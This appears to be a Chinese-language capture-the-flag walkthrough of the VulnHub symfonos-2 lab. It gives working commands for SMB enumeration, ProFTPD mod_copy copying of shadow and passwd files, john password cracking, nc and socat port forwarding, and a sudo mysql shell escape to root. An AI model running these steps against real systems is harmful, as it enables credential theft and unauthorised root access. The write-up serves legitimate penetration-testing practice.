symfonos系列打靶-2

环境

靶机 https://www.vulnhub.com/entry/symfonos-2,331/

信息收集

端口信息收集

首先找到目标

1
nmap -sP 192.168.31.0/24

收集端口详细信息

1
nmap -sV 192.168.31.58 

开放端口蛮多,还有135和445,切入口应该在这里了

smb信息收集

1
enum4linux 192.168.31.58

存在一个匿名目录

进去看看

1
2
3
smbclient //192.168.31.58/anonymous -U % -N
-U 指定用户 %表示用户
-N 空密码

存在一个log.txt下载下来看看

给了几条线索,1.将shadow备份到/var/backups下 2.smb配置文件给出一个密码 3.给出proftp配置

前面nmap扫描给出了ftp的版本,看看能否找到漏洞

有利用限制,只是可以复制文件,并不能rce而且需要知道真实路径

漏洞利用

任意文件复制

根据上面的log.txt我们得到了匿名用户的真实路径 /home/aeolus/share

利用漏洞可以复制文件,账号密码任意

1
2
3
ftp 192.168.31.58
site cpfr /var/backups/shadow.bak
site cpto /home/aeolus/share/shadow.txt

上smb下载下来

利用同样的方式复制/etc/passwd文件,再下载到本地

1
2
3
ftp 192.168.31.58
site cpfr /etc/passwd
site cpto /home/aeolus/share/passwd.txt

爆破hash

先把两个文件复制到目录,再写入同一个文件

unshadow 会结合/etc/passwd的数据和/etc/shadow的数据,创建1个含有用户名和密码详细信息的文件。

1
2
3
4
mkdir /root/.john                                                                                                                                       
cp passwd.txt shadow.txt ./.john
cd .john
unshadow passwd.txt shadow.txt > hash.txt

使用john爆破hash

1
2
3
cd /root/.john
gunzip /usr/share/wordlists/rockyou.txt.gz
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

爆破出一个账号 aeolus sergioteamo

ssh上去

1
ssh 192.168.31.58 -l aeolus

提权

sudo -l找到一个提示

跟进,得到提示

没什么用…suid也没东西,看看端口netstat没有这个命令

上传提权脚本,因为我们是ssh上去的,直接复制进去就行了 https://github.com/sleventyeleven/linuxprivchecker

执行发现,存在nmap工具

直接扫自己,发现一个不对外开放的端口和mysql,用nc端口转发将本地的8080转发到5555,访问一下看看

1
2
3
4
mknod backpipe p ; nc -l -p (远程端口) < backpipe | nc (本地ip) (被转发的端口) >backpipe
mknod backpipe p ; nc -l -p 5555 < backpipe | nc 127.0.0.1 8080 >backpipe
或者
socat TCP-LISTEN:5000,fork,reuseaddr tcp:127.0.0.1:8080

访问5555端口,转发成功

得知cms版本,使用msf尝试提权

sudo找到一个suid命令

mysql提权方法 https://gtfobins.github.io/gtfobins/mysql/

1
sudo mysql -e '\! /bin/sh'